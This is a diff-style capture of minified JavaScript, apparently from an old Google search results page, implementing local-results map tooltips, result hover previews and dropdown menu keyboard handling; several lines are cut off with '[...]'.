+_.Oy=function(){if(_.rh&&_.Mf){_.By=(0,_.T)("lu_pinned_rhs");var a=window.document.getElementById("hdtb");a&&"fixed"==(0,_.Lf)(a,"position",_.j)&&(0,_.uf)(101,_.jda);_.Cy={};_.Iy={};_.Ny=new _.My;(0,_.rh)(window,"scroll",_.Ey);_.Pe.He?_.Py=window.setInterval(_.ida,200):(0,_.rh)(window,"resize",_.Ky);(0,_.Ky)()}else window.setTimeout(function(){(0,_.Oy)()},100)};
+_.Qy=function(a){this.H=0;this.B=[];this.M=_.m;this.Cr=window.document.createElement("div");var b=this.Cr.style;b.position="fixed";b.WebkitTransitionProperty="left, top";b.MozTransitionDuration=".1s, .1s";b.MozTransitionProperty="left, top";b.WebkitTransitionDuration=".1s, .1s";this.D=window.document.createElement("div");this.D.className="lu_map_tooltip";b=this.D.style;b.position="absolute";b.zIndex=102;var c=" "+(!_.Pe.He||(0,_.Ue)("9")?"rgba(0,0,0,0.2)":"#999999");b.border="1px solid"+ [...]
+b.padding="6px 12px";b.lineHeight="1.2";b.fontSize="85%";b.backgroundColor="white";b.whiteSpace="nowrap";b.Mb="0 2px 4px"+c;b.WebkitBoxShadow="0 2px 4px"+c;b.Gf="0 2px 4px"+c;a?b.right=0:b.left=0;this.Cr.appendChild(this.D);(0,_.Ry)(this);(0,_.Ye)(this.Cr)};_.Sy=function(a){return a.extendedContent&&a.extendedContent["1"]};_.Ty=function(a,b){for(var c=0,d;d=b[c++];)if(d==a)return _.j;return _.m};_.Ry=function(a){a.Cr.style.display="none"};
+_.Uy=function(a){this.X=a;this.H=[];this.jb={};this.ka=0;this.S=this.Ia=_.l;this.Ja=this.Rb=_.m;this.Fa=_.l;if(this.B=(0,_.T)("lu_map")){a=this.B;var b=window.devicePixelRatio||1;if(!a.src){var c=(0,_.Yf)(a,"src");c&&(a.src=1<b?c+"&scale="+b:c)}for(this.N=this.B;this.N&&"A"!=this.N.tagName;)this.N=this.N.parentNode;if(window.google.LU.fmap_url_delta&&(this.Sg=(0,_.T)("lu_pinned_rhs"),this.Je=(a=(0,_.T)("center_col"))&&a.parentNode||(0,_.T)("ires"),this.N&&this.Je&&(this.ra=this.N.href,th [...]
+this.ra.search(/&iwloc=|&cid=0,0,/),a=(0,_.Vy)(this,this.B)))){b=a.indexOf(",")+1;this.np=a.substring(0,b);c=a.indexOf("data=")+5;this.Hk=a.substring(0,c)+window.google.LU.fmap_url_delta+",";c=a.indexOf("&");this.Xc=-1==c?"":a.substring(c);a=a.substring(b).split("&")[0].split(",")[0];this.ka=0;this.Lf={id:this.ka++,token:a,featuresCallback:_.l};this.Rq={id:this.ka++,featuresCallback:_.l};this.Mt={id:this.ka++,featuresCallback:_.l};this.X.lM||(this.S=new _.Qy(!(0,_.Kf)()),this.S.M=this.X. [...]
+{x:0,y:0};var d=this;this.Fa=(0,_.ty)(_.l,function(){if(d.D&&d.D.B&&d.D.B.H){d.Lw=d.B.offsetHeight;var a;if(_.Pe.He){a=d.B.getBoundingClientRect();var b=d.B.ownerDocument;a.left-=b.documentElement.clientLeft+b.body.clientLeft;a.top-=b.documentElement.clientTop+b.body.clientTop;a={x:d.M.x-a.left,y:d.M.y-a.top}}else b=(a=d.Sg&&"fixed"==d.Sg.style.position)?0:window.document.body.scrollTop+window.document.documentElement.scrollTop,a={x:d.M.x+(a?0:window.document.body.scrollLeft+window.docum [...]
+(0,_.we)(d.B),y:d.M.y+b-(0,_.xe)(d.B)};var c,b=(d.D.B.B[3]-d.D.B.B[1])/d.Lw;c={x:a.x*b,y:a.y*b};a=d.D.B;b=c.x;c=c.y;for(var h=[],i=0,n;n=a.D[i];++i)n.contains(b,c)&&h.push(n);d.N.href=(0,_.Wy)(d,h)}},100,_.j);this.Lf.featuresCallback=function(a){a:{a=(0,_.Xy)(d,a);for(var b=0,c;c=a[b++];)if("0"==c.id){a=_.l;break a}d.X.lM||d.S.B.length&&(a=d.S.B);if(0==a.length||d.pj)a=d.ra;else{for(var h=[],b=0;c=a[b++];)h.push(c.id);a=h.length?d.ra+"&iwloc=cids:"+h.join(","):_.l}}return a};this.Rq.feat [...]
+function(a){if(d.X.VV){for(var b=_.l,c=0,h;h=a[c++];)if(h.markerElement){b=h.markerElement;break}d.Ia!=b&&(d.Ia===_.l||(0,_.Gf)(d.Ia,"luhovm"),b===_.l||(0,_.Ff)(b,"luhovm"),d.Ia=b)}};this.Mt.featuresCallback=function(a){if(!d.X.lM){a=(0,_.Xy)(d,a);for(var b={x:6*((0,_.Kf)()?1:-1),y:12},c=d.S,h={x:d.M.x+b.x,y:d.M.y+b.y},b=_.m,i=0,n;n=c.B[i];)(0,_.Ty)(n,a)?i++:(c.B.splice(i,1),b=_.j);for(var i=0,p;p=a[i++];)if(!(0,_.Ty)(p,c.B)){n=c;var k=(0,_.Sy)(p);if(k){if("undefined"==typeof k.star_rati [...]
+else{for(var q=_.ba,q=0;q<n.B.length&&!((k=(0,_.Sy)(n.B[q]))&&"undefined"==typeof k.star_rating);++q);n.B.splice(q,0,p)}n=_.j}else n=_.m;n&&(b=_.j)}b&&(c.H++,(0,window.setTimeout)(function(){c.H--;if(0==c.H)if(c.B.length){for(var a=[],b=0,d;5>b&&(d=c.B[b++]);){var e=(0,_.Sy)(d);if(e.title){1!=c.B.length&&a.push('<div style="min-height: 16px">');a.push("<b>",e.title,"</b> ");var f=e.star_rating,e=e.review_count,q=a;if(!("undefined"==typeof f||"undefined"==typeof e)){q.push('<div style="di [...]
+for(var k=0;5>k;++k){var p;0.75<f?(p="rsw-starred",f-=1):0.25<f?(p="rsw-half-starred",f-=0.5):p="rsw-unstarred";q.push('<div style="float: none; display: inline-block" class="',p,'"></div>')}q.push("</div>");q.push("<span dir=",(0,_.Kf)()?"dir=rtl":"","> (",e,") </span>")}1!=c.B.length&&a.push("</div>")}}if(1==c.B.length)if(c.M){if(b=c.B[0],(b=(b=b.extendedContent&&b.extendedContent["14"])&&b.known_for_terms)&&0!=b.length)a.push('<div style="color: #222; min-width: 150px;','white-space: [...]
+a.push(b.join(" \u00b7 ")),a.push("</div>")}else b=(d=(0,_.Sy)(c.B[0]))&&d.snippet,d=d&&d.snippet_attribution,b&&d&&(a.push('<div style="min-width: 150px; white-space: normal">',b,"</div>"),a.push('<div style="color: #666">',d,"</div>"));c.D.innerHTML=a.join("");c.Cr.style.left=h.x+"px";c.Cr.style.top=h.y+"px";c.Cr.style.display=""}else(0,_.Ry)(c)},200))}};this.H=[this.Rq,this.Mt,this.Lf];this.uy=this.H.length;this.H=this.H.concat(this.X.HE);a=(0,_.Yy)(this.H);b=(0,_.Zy)(this.H);this.D=n [...]
+this.Hk,this.Xc,a,b,this.X.LO?this.Je:_.l);this.Rb=!!this.D;this.jb[a]=this.D;this.D.K(this.B)}}};_.Yy=function(a){for(var b=[],c=0,d;d=a[c++];)d.token&&b.push(d.id);return b.join("_")};_.Zy=function(a){for(var b=[],c=0,d;d=a[c++];)d.token&&b.push(d.token);return b};_.Wy=function(a,b){for(var c=a.ra,d=0,e;e=a.H[d++];)(e=(e=e.featuresCallback)&&e(b))&&(c=e);return c};_.Xy=function(a,b){for(var c=[],d=0,e;e=b[d++];)e.isMarker&&c.push(e);return 0<c.length&&c||b};
+_.Vy=function(a,b){if("IMG"==b.tagName)return b.src;var c=/url\(([\'\"]?)(.*)\1\)/.exec(b.style.background);return!c||3>c.length?"":c[2]};_.$y=function(a){var b=(0,_.Zy)(a.H),c=(0,_.Yy)(a.H),d=a.jb[c];d||(d=new _.vy(a.np,a.Hk,a.Xc,c,b,_.l),a.jb[c]=d);d!=a.D&&(a.D.$(),d.K(a.B),a.D=d)};_.az=function(a){var b=_.l;a!=_.l&&(b=(0,_.bf)(".lupin",a)||(0,_.bf)(".lucir",a)||(0,_.bf)(".luadpin",a)||_.l);_.bz!=b&&(_.bz===_.l||(0,_.Gf)(_.bz,"luhovm"),b===_.l||(0,_.Ff)(b,"luhovm"),_.bz=b);(0,_.cz)()};
+_.dz=function(a){for(var b={},c=3;5>=c;c++)if(b[c]=(0,_.bf)(".rhsmap"+c+"col",a),b[c])b[c].column_count=c;else return _.l;return b};
+_.ez=function(a){if(!a)return _.l;var b,c=0,d;for(d in a)if(d=(0,window.Number)(d),0<a[d].offsetHeight){b=a[d];c=d;break}if(!b)return _.l;if(!b.firstChild){var e;for(d in a)if(d=(0,window.Number)(d),a[d].firstChild){e=a[d];break}a=b;d=c;e=e.firstChild.cloneNode(_.j);var f;a.hasAttribute("data-mh")&&(f=a.getAttribute("data-mh"));d=a.hasAttribute("data-mw")?a.getAttribute("data-mw"):88*d-16;var g=e.getElementsByTagName("IMG")[0];g.id="";_.fz.lS||(g.width=d,f!==_.ba&&(g.height=f));g.onload= [...]
+"block";delete g.onload};g.style.display="none";var h=g.src.split("&")[0]+"&w="+d;f!==_.ba&&(h+="&h="+f);g.src=h;_.fz.lS||(g.parentNode.style.width=d+"px",f!==_.ba&&(g.parentNode.style.height=f+"px"));a.appendChild(e)}return{element:b,$_:c}};_.cz=function(){var a;a=(0,_.bf)("#nycprv");a=!a||0==a.offsetHeight?_.m:!!(0,_.ez)((0,_.dz)(a));var b=(0,_.kda)(),c=(0,_.lda)();return a||b||c};
+_.kda=function(){var a=(0,_.bf)("#rhs_block");if(!a||0==a.offsetHeight)return _.m;var b=(0,_.ez)((0,_.dz)(a));if(!b)return _.m;a=b.element;b=b.$_;if(_.gz==b&&_.hz[_.gz])return _.hz[_.gz].K(),_.j;a=a.getElementsByTagName("IMG")[0];a.id||((0,_.T)("lu_map").id="",a.id="lu_map");_.hz[_.gz]&&_.hz[_.gz].$();_.hz[b]||(_.hz[b]=new _.Uy(_.fz));_.gz=b;_.hz[_.gz].K();return _.j};
+_.lda=function(){for(var a=_.m,b=0;b<_.iz.length;b++){var c=(0,_.bf)("#"+_.iz[b]);if(c){for(var a=_.j,d=[],e,f=3;5>=f;f++){var g=(0,_.bf)(".luib-"+f,c);if(!g)return _.m;g=(0,_.bf)(".thumb",g);if(!g)return _.m;d.push(g);0<g.offsetHeight&&(e=g)}if(!e)return _.m;var g=(0,window.parseInt)(e.style.width,10),h=(0,window.parseInt)(e.style.height,10),f=(0,_.bf)("img",e);if(!f||!f.src){for(var i,n,f=0;f<d.length;f++){var p=(0,_.bf)("img",d[f]);if(p&&p.src){i=(0,_.Ze)("div",d[f].innerHTML);n=p;bre [...]
+d=(0,_.bf)("img",i);f="1"==c.getAttribute("data-crop");f||(d.width=g,d.height=h,p=(0,_.Zu)(n.src),(0,_.Wu)(p,"w",(0,window.parseInt)(g,10)),(0,_.Wu)(p,"h",(0,window.parseInt)(h,10)),d.src=p.toString());e.innerHTML=i.innerHTML;f&&(d=(0,_.bf)("img",e),(0,_.Ge)(c)?d.style.marginRight=(g-d.width)/2+"px":d.style.marginLeft=(g-d.width)/2+"px",d.style.marginTop=(h-d.height)/2+"px")}}}return a}; _.jz=function(a){var b=_.m,c;for(c in _.hz){if(!_.hz[(0,window.Number)(c)].addMapConfig(a))return _.m [...]
+_.F=_.uy.prototype;_.F.isMarker=_.m;_.F.height=function(){return this.B[3]-this.B[1]+1};_.F.width=function(){return this.B[2]-this.B[0]+1};_.F.top=function(){return this.a[1]-this.height()+1};_.F.left=function(){return this.a[0]+this.B[0]+1};_.F.contains=function(a,b){var c=a-this.a[0],d=b-this.a[1];return c>=this.B[0]&&d>=this.B[1]&&c<=this.B[2]&&d<=this.B[3]};_.uy.prototype.extendedContent=_.uy.prototype.extendedContent;(0,_.ha)("google.LU.Feature",_.uy,_.ba);
+_.vy.prototype.K=function(a){if(a.src!=this.N){var b=a.cloneNode(_.j);(0,_.cf)(b,"position","absolute");var c=this;b.onload=function(){(0,_.Dd)(b,a);(0,_.lf)(100,[[b,"opacity",0,1,_.l,""]],function(){a.src=c.N;(0,_.Fd)(b)})};b.src=this.N}if(!this.B)if(this.M){var d=this;this.D=function(){(0,_.yy)(d);d.B||(0,_.xy)(d)};(0,_.rh)(this.M,"mouseover",this.D);(0,_.rh)(this.M,"mousemove",this.D)}else(0,_.xy)(this)};_.vy.prototype.$=function(){(0,_.wy)(this);(0,_.yy)(this)};
+_.Jy=6;_.Fy=_.j;_.gda="left margin paddingTop position top width zIndex".split(" ");_.Cy={};_.Iy={};_.Ly=_.m;(0,_.ha)("google.LU.hideLocalRhsContent",function(){_.By&&(_.By.style.display="none",_.Ly=_.j)},_.ba);(0,_.ha)("google.LU.showLocalRhsContent",function(){_.By&&(_.By.style.display="block",_.Ly=_.m,(0,_.Ey)())},_.ba);
+(0,_.ha)("google.LU.Tooltip",_.Qy,_.ba);_.Uy.prototype.K=function(){if(this.B&&!this.Ja&&this.Rb){this.Ja=_.j;var a=this.B,b=this;a.B=function(a){a=a||window.event;b.M.x=a.clientX;b.M.y=a.clientY;b.Fa()};(0,_.rh)(a,"mousemove",a.B);a.N=function(){b.Fa()};(0,_.rh)(window,"scroll",a.N);a.H=function(){b.M.x=b.M.y=0;(0,_.Ry)(b.S)};(0,_.rh)(window,"pagehide",a.H);a.D=function(){b.M.x=b.M.y=0;b.N.href=(0,_.Wy)(b,[])};(0,_.rh)(a,"mouseout",a.D)}};
+_.Uy.prototype.$=function(){if(this.B&&this.Ja){this.Ja=_.m;var a=this.B;a.B&&((0,_.sh)(a,"mousemove",a.B),delete a.B);a.N&&((0,_.sh)(window,"scroll",a.N),delete a.N);a.H&&((0,_.sh)(window,"pagehide",a.H),delete a.H);a.D&&((0,_.sh)(a,"mouseout",a.D),delete a.D)}};_.Uy.prototype.addMapConfig=function(a){if(!this.Rb)return _.m;a.id||(a.id=this.ka++);this.H.push(a);(0,_.$y)(this);return _.j}; _.Uy.prototype.deleteMapConfig=function(a){if(!(a.id<this.uy))for(var b=0;b<this.H.length;++b)if(th [...]
+_.iz=["luibli","luibbri"];_.hz={};_.gz=-1;_.kz=_.l;_.bz=_.l;_.fz={};
+(0,_.ah)("lu",{init:function(a){"webhp"!=window.google.sn&&(0,_.T)("lu_map")&&(_.fz={lM:a.no_tt,VV:a.cm_hov,HE:[],LO:_.j,$Y:a.tt_kft,lS:a.tm},(0,_.T)("lu_pinned_rhs")&&(_.Pe.He&&0==(0,_.Te)("7",_.Re)||_.Qe.vx||(0,_.T)("tbt5")||!(0,_.T)("aerhs")&&!(0,_.T)("pplicrhs")&&(0,_.Oy)()),(0,_.cz)()?(_.kz=(0,_.ty)(_.l,_.cz,100,_.j),(0,_.uf)(60,_.kz)):(_.hz[3]||(_.hz[3]=new _.Uy(_.fz)),_.gz=3,_.hz[3].K()),_.fz.LO=_.m,(0,_.uf)(59,_.az))},dispose:function(){_.kz&&((0,_.wf)(60,_.kz),_.kz=_.l);(0,_.wf) [...]
+for(var a in _.hz)if(_.hz[(0,window.Number)(a)]){var b=_.hz[(0,window.Number)(a)];b.$();b.B=_.l;b.N=_.l;b.Je=_.l;b.Sg=_.l;b.ra="";b.Xc="";b.pj=_.m;b.D&&b.D.$();b.D=_.l;b.H.length=0;b.jb={};b.Lf=_.l;b.ka=0;b.Rb=_.m;if(b.S){var c=b.S;c.Cr&&c.Cr.parentElement&&c.Cr.parentElement.removeChild(c.Cr);b.S=_.l}b.M=_.l;b.Fa=_.l}_.hz={};_.gz=-1;_.bz=_.l;_.By&&((0,_.sh)(window,"scroll",_.Ey),_.Pe.He||(0,_.sh)(window,"resize",_.Ky),_.Py&&window.clearInterval(_.Py),_.By=_.l,_.Ly=_.m);_.fz={}}});
+(0,_.ha)("google.LU.addMapConfig",_.jz,_.ba);(0,_.ha)("google.LU.deleteMapConfig",function(a){for(var b in _.hz)_.hz[(0,window.Number)(b)].deleteMapConfig(a);for(b=0;b<_.fz.HE.length;++b)if(_.fz.HE[b].id==a.id){_.fz.HE.splice(b,1);break}},_.ba);(0,_.ha)("google.LU.getCurrentMapImageUrl",function(){return _.hz[_.gz].B?(0,_.Vy)(_.hz[_.gz],_.hz[_.gz].B):""},_.ba);(0,_.ha)("google.LU.getCurrentMapAnchorUrl",function(){return _.hz[_.gz].N?_.hz[_.gz].N.href:""},_.ba);
+
+(0,_.Mc)(_.Dc.I(),"sy51");(0,_.Qc)(_.Dc.I(),"sy51");
+}catch(e){_._DumpException(e)}
+try{
+(0,_.Pc)(_.Dc.I(),"lu");
+(0,_.Mc)(_.Dc.I(),"lu");(0,_.Qc)(_.Dc.I(),"lu");
+}catch(e){_._DumpException(e)}
+try{
+_.nz=function(a){return a!=_.l&&(0,_.If)(a,"vsta")};_.oz=function(a){return!a||!a.getAttribute?_.m:(a=a.getAttribute("data-extra"))?-1!=a.indexOf("ludocid="):_.m};
+_.pz=function(a,b,c,d,e){d=["s"+c,"c"+d];d.push("x:"+((0,_.qz)(b)&&!(0,_.rz)(b)?"w":(0,_.rz)(b)?(0,_.qz)(b)?"y":"np":"p"));(0,_.nz)(a)&&d.push("ad");(0,_.oz)(a)&&d.push("lr");b=e?"&dur="+e:"";e="";if(window.google.j&&window.google.j.pf&&(3==c||5==c||7==c))e="&sqi=6";c=d.join(",")+"&oi=vsnip"+b+e;for(d=0;b=a.childNodes[d];d++)if(b.hasAttribute&&b.hasAttribute("data-ved")){e=0;for(var f;f=b.childNodes[e];e++)if(f.hasAttribute&&f.hasAttribute("data-ved")){(0,_.Rh)(b,[f],[],"",c);return}}if( [...]
+a.getAttribute("bved"),(0,_.Qh)(d,a,[b],[a],[],"",c)};_.sz=function(a,b){var c={};if(b){var d=(0,_.uh)(b);d&&(c.ved=d);b.hasAttribute("pved")&&(c.ved=b.getAttribute("pved"));(0,_.nz)(b)&&(c.ad=_.j);(0,_.oz)(b)&&(c.lr=_.j)}window.google.ml(a,_.m,c)};_.tz=function(a,b,c){function d(f){e!=_.l&&window.clearTimeout(e);var g=(0,_.Mh)(f);e=window.setTimeout(function(){a(g)&&(_.uz=_.m,(0,_.sh)(window.document,"mousemove",d),b(g))},c)}var e=_.l;_.uz||(_.uz=_.j,(0,_.rh)(window.document,"mousemove",d))};
+_.vz=function(a){var b=(0,_.T)("cnt"),c=(0,_.T)("searchform");"lg"==a?(b&&(0,_.Ff)(b,"big"),c&&(0,_.Ff)(c,"big"),b&&(0,_.Gf)(b,"mdm"),c&&(0,_.Gf)(c,"mdm")):("md"==a?(b&&(0,_.Ff)(b,"mdm"),c&&(0,_.Ff)(c,"mdm")):(b&&(0,_.Gf)(b,"mdm"),c&&(0,_.Gf)(c,"mdm")),b&&(0,_.Gf)(b,"big"),c&&(0,_.Gf)(c,"big"))};_.wz=function(){var a=window.document.body.offsetWidth;_.xz||(0,_.vz)(1250<=a?"lg":"sm");_.yz.elastic.rhsOn&&((0,_.zz)((0,_.T)("rhs_block")),(0,_.zz)(_.Az))};
+_.Bz=function(){var a=window.document.body.offsetWidth;return a>=_.yz.elastic.rhs5Col?5:a>=_.yz.elastic.rhs4Col||_.yz.elastic.tiny&&a>=_.yz.elastic.tinyMd&&a<_.yz.elastic.tinyHi?4:3};_.zz=function(a){if(a){var b=(0,_.Bz)();5<=b?((0,_.Gf)(a,"rhstc3"),(0,_.Gf)(a,"rhstc4"),(0,_.Ff)(a,"rhstc5")):4==b?((0,_.Gf)(a,"rhstc3"),(0,_.Gf)(a,"rhstc5"),(0,_.Ff)(a,"rhstc4")):((0,_.Gf)(a,"rhstc4"),(0,_.Gf)(a,"rhstc5"),(0,_.Ff)(a,"rhstc3"))}};
+_.Cz=function(){var a=window.pageXOffset||window.document.body.scrollLeft||window.document.documentElement.scrollLeft,b=(0,_.Kf)(),c=b?"marginRight":"marginLeft",d=b?"right":"left";b&&(a=window.Math.abs(a));for(var b=0,e;e=_.Dz[b];b++)"fixed"==(0,_.Lf)(e,"position",_.j)&&("tbbcc"==e.id?e.style[c]=-a+"px":e.style[d]=-a+"px")};_.Ez=function(a){return a!==_.l&&(0,_.If)(a,"vsta")?1:0};
+_.Fz=function(a){if(a.hasAttribute("rawurl"))return a.getAttribute("rawurl");var b="";if(1==(0,_.Ez)(a))var b=(b=(0,_.Gz)(a))?b.getAttribute("href"):"",c=b.match(_.oda);else b="",b=a.hasAttribute("url")?a.getAttribute("url"):(b=(0,_.Hz)(a))?b.getAttribute("href"):"",c=b.match(_.pda)||b.match(_.qda);c&&(b=(0,window.decodeURIComponent)(c[1]));a.setAttribute("rawurl",b);return b};
+_.Iz=function(a){var b=(0,_.Fz)(a)+"|"+(a.getAttribute("sig")||"")+"|"+(a.getAttribute("data-extra")||"");_.yz&&(_.yz.elastic&&_.yz.elastic.rhsOn&&(0,_.oz)(a))&&(b+="|"+(0,_.Bz)());return b};_.Hz=function(a){for(var b=(0,_.af)("a.l",a),c=0,d;d=b[c];c++)if((0,_.Jz)(d))return d;(0,_.sz)((0,window.Error)("(manhattan) No result link"),a);return _.l};_.Gz=function(a){var b=(0,_.bf)("h3",a);if(b&&(b=(0,_.bf)("a",b),(0,_.Jz)(b)))return b;(0,_.sz)((0,window.Error)("(manhattan) No ad link"),a);re [...]
+_.Jz=function(a){if(!a)return _.m;a=a.getAttribute("href");return a!=_.l&&0<a.length&&"#"!=a};_.Kz=function(a){return(0,_.Zd)(a,"vsc")};
+_.Lz=function(a,b){if(!(0,_.Mz)()&&!_.uz){(0,_.Ff)(window.document.body,"vsh");var c=(0,_.Nz)(a),d=(0,_.Kz)(c);if(!(0,_.Oz)(c)||_.Pz!=d)_.Pz===_.l||(0,_.Gf)(_.Pz,"vsdth"),_.Pz=_.l;(0,_.Oz)(c)&&!_.Qz&&(d===_.l||(0,_.Ff)(d,"vsdth"),_.Pz=d);if(_.Rz!=c)if(_.Rz=c,(0,_.Oz)(c)){if(!_.Qz){_.Sz=_.m;var e=_.yz.time.hOn,e=(0,_.Tz)()?_.yz.time.hSwitch:c!==_.l&&(0,_.If)(c,"vspii")?_.yz.time.hOn:(0,_.Uz)(c)?_.yz.time.hTitle:_.yz.time.hUnit;(0,_.Vz)(function(){if(!_.Sz&&_.Rz==c&&!(0,_.Mz)()){var a=3;(0 [...]
+a=5:(0,_.Wz)(c)&&(a=7);(0,_.Xz)(d,a);(0,_.tz)(function(a){return(0,_.Nz)(a)==c?_.m:_.j},_.Yz,_.yz.time.hOff)}},e)}}else if((0,_.Tz)()){if(!(e=c==window.document||c==window.document.documentElement))if(e=_.yz.exp.lru)if(!(e="rso"==c.id)){a:{for(var e=0,f;f=c.childNodes[e];e++)if((0,_.oz)(f)){e=_.j;break a}e=_.m}e=e||(0,_.If)(c,"intrlu")}if(e)e=0;else if(e=!(0,_.Zz)(c))if(e=c!==_.l)if(e=!(0,_.If)(c,"vspib"))if(e=!(0,_.If)(c,"lacl"))e=!(0,_.$z)(c,function(a){return-1!=(0,_.xb)(_.aA,a)})&&!( [...]
+function(a){return"nyc"==a.id});e?(0,_.Vz)(function(){_.Rz==c&&!(0,_.Mz)()&&(0,_.bA)()},b?0:_.yz.time.hOff):d&&((0,_.If)(d,"vsc")&&!(0,_.If)(d,"laol")&&!(0,_.If)(d,"vso"))&&(0,_.Vz)(function(){_.Rz==c&&!(0,_.Mz)()&&(0,_.Xz)(d,3)},b?0:_.yz.time.hSwitch)}else(0,_.Zz)(c)&&(0,_.tz)((0,_.E)(_.j),function(a){var b=(0,_.Nz)(a);(0,_.Zz)(b)&&!(0,_.Oz)(b)?(0,_.Xz)((0,_.Kz)(b),3):(0,_.Yz)(a)},_.yz.time.hOn)}};_.Yz=function(a){(0,_.cA)();(0,_.Lz)({target:a},_.j)};
+_.rda=function(a){2!=a.button&&(_.Qz=_.j,(0,_.Uz)((0,_.Nz)(a))&&(_.Sz=_.j,a.preventDefault?a.preventDefault():a.returnValue&&(a.returnValue=_.m)))};_.Nz=function(a){a=a.parentNode?a:(0,_.Mh)(a);var b=a.parentNode;return b&&b!=window.document&&(0,_.Zz)(b)?b:a};_.Oz=function(a){return(0,_.Uz)(a)||(0,_.Wz)(a)||a!==_.l&&(0,_.If)(a,"vspii")&&(0,_.$z)(a,function(a){return a!==_.l&&(0,_.If)(a,"mslg")})};_.Zz=function(a){return(0,_.Uz)(a)||(0,_.Wz)(a)||a!==_.l&&(0,_.If)(a,"vspii")};
+_.Uz=function(a){if(!_.yz.exp.rt&&!_.yz.exp.lrt)return _.m;var b=(0,_.Kz)(a);if(!b)return _.m;var c=a!==_.l&&(0,_.If)(a,"l"),b=c&&(0,_.oz)(b);a="pa1"==a.id||"pa2"==a.id||"pa3"==a.id||"1"==a.id;return _.yz.exp.rt?c||a:_.yz.exp.lrt&&b?_.j:_.m};_.Wz=function(a){var b=(0,_.Kz)(a);return!b||(0,_.$z)(a,function(a){return a!==_.l&&(0,_.If)(a,"vspib")})?_.m:_.yz.exp.adu&&(0,_.If)(b,"vsta")||_.yz.exp.lru&&(0,_.oz)(b)?_.j:_.m};
+_.Vz=function(a,b){window.clearTimeout(_.dA);_.dA=window.setTimeout(a,window.Math.max(0,b))};_.$z=function(a,b){for(;a&&a!=window.document.body;){if(b(a))return _.j;a=a.parentNode}return _.m};_.eA=function(a){_.aA.push(a)};_.fA=function(a){a=(0,_.xb)(_.aA,a);-1!=a&&_.aA.splice(a,1)};_.cA=function(){_.Rz=_.l;window.clearTimeout(_.dA);_.dA=-1};_.gA=function(){return(0,_.T)("sftab")||(0,_.T)("lst-ib")};_.hA=function(){var a=(0,_.gA)();a&&(0,_.Ff)(a,"lst-d-f")};
+_.iA=function(){var a=(0,_.gA)();a&&(0,_.Gf)(a,"lst-d-f")};_.jA=function(a){this.element=a;this.B=[];this.D=_.l;"ab_opt"==this.element.id&&0==this.element.childNodes.length&&window.gbar.aomc(this.element);a=(0,_.af)(".ab_dropdownitem",this.element);for(var b=0,c;c=a[b];b++)(0,_.If)(c,"disabled")||this.B.push(c)};_.kA=function(a,b){(0,_.lA)(a,a.D==_.l?b?0:a.B.length-1:(a.D+(b?1:a.B.length-1))%a.B.length)};
+_.lA=function(a,b){var c=a.B[b];c&&((0,_.mA)(a),(0,_.Ff)(c,"selected"),c.setAttribute("aria-selected","true"),c=(0,_.bf)("a",c)||c,c.setAttribute("tabindex","0"),c.focus(),a.D=b)};_.mA=function(a){var b=a.B[a.D];b&&((0,_.Gf)(b,"selected"),b.setAttribute("aria-selected","false"),((0,_.bf)("a",b)||b).setAttribute("tabindex","-1"),a.element.focus(),a.D=_.l)};_.nA=function(a){var b=(a=(0,_.Zd)(a,"ab_button"))&&_.oA!=a;_.pA&&(0,_.qA)();a&&b&&(0,_.rA)(a)};
+_.sda=function(a){window.google.ac&&window.google.ac.SV&&window.google.ac.SV();(!window.google.j||!window.google.j.init)&&(0,_.yf)(a.href);return _.j};_.tda=function(a,b,c){32==c.keyCode&&(0,_.yf)(a.href)};_.uda=function(a){(0,_.nA)(a);window.google.isr.Hover.roi(_.j)};_.vda=function(a,b,c){("keydown"!=c.type||32==c.keyCode)&&window.google.isr.Hover.roi(_.m)};_.wda=function(a){(0,_.De)((0,_.T)("ufp"),"block");(0,_.nA)(a)};
+_.rA=function(a){var b;if(_.sA[a.id]==_.ba){var c=(0,_.Zd)(a,"ab_ctl");b=_.l;c&&(c=(0,_.bf)(".ab_dropdown",c))&&(b=new _.jA(c));_.sA[a.id]=b}if(b=_.sA[a.id]){(0,_.Ff)(a,"selected");a.setAttribute("aria-expanded","true");_.oA=a;b.element.style.visibility="visible";_.pA=b;c=a.id.indexOf("am-b");if(a.id&&-1!=c&&(c=(0,_.Nd)(a))&&(0,_.If)(c,"action-menu"))(c=(0,_.jd)("action-menu-panel",c))&&(0,_.Rh)(a,[c],[],"","&id="+a.id);(0,_.rh)(b.element,"keydown",_.tA);(0,_.rh)(b.element,"mouseover",_. [...]
+"mouseout",_.vA);_.Qe.qy&&(0,_.rh)(b.element,"keypress",_.wA);(0,_.rh)(window.document,"click",_.qA);(0,_.rh)(window.document,"keydown",_.xA)}};
+_.qA=function(){_.pA&&((0,_.sh)(_.pA.element,"keydown",_.tA),(0,_.sh)(_.pA.element,"mouseover",_.uA),(0,_.sh)(_.pA.element,"mouseout",_.vA),_.Qe.qy&&(0,_.sh)(_.pA.element,"keypress",_.wA),(0,_.sh)(window.document,"click",_.qA),(0,_.sh)(window.document,"keydown",_.xA),(0,_.mA)(_.pA),_.pA.element.style.visibility="hidden",_.pA=_.l);_.oA&&((0,_.Gf)(_.oA,"selected"),_.oA.setAttribute("aria-expanded","false"),_.oA=_.l)};_.xA=function(a){27==a.keyCode&&(0,_.qA)()};
+_.yA=function(a){var b=(0,_.Mh)(a),c=(0,_.Zd)(b,"ab_button");if(c)if(9==a.keyCode)(0,_.qA)();else if(27==a.keyCode){if(_.pA)return(0,_.qA)(),(0,_.zA)(a)}else{if(32==a.keyCode)return(0,_.nA)(b),(0,_.zA)(a);if(38==a.keyCode||40==a.keyCode)return _.pA?(0,_.kA)(_.pA,40==a.keyCode):(0,_.rA)(c),(0,_.zA)(a);if(37==a.keyCode||39==a.keyCode)return(0,_.zA)(a)}return _.j};_.uA=function(a){_.pA&&((a=(0,_.Zd)((0,_.Mh)(a),"ab_dropdownitem"))?_.pA.TF(a):(0,_.mA)(_.pA))};_.vA=function(){_.pA&&(0,_.mA)(_.pA)};
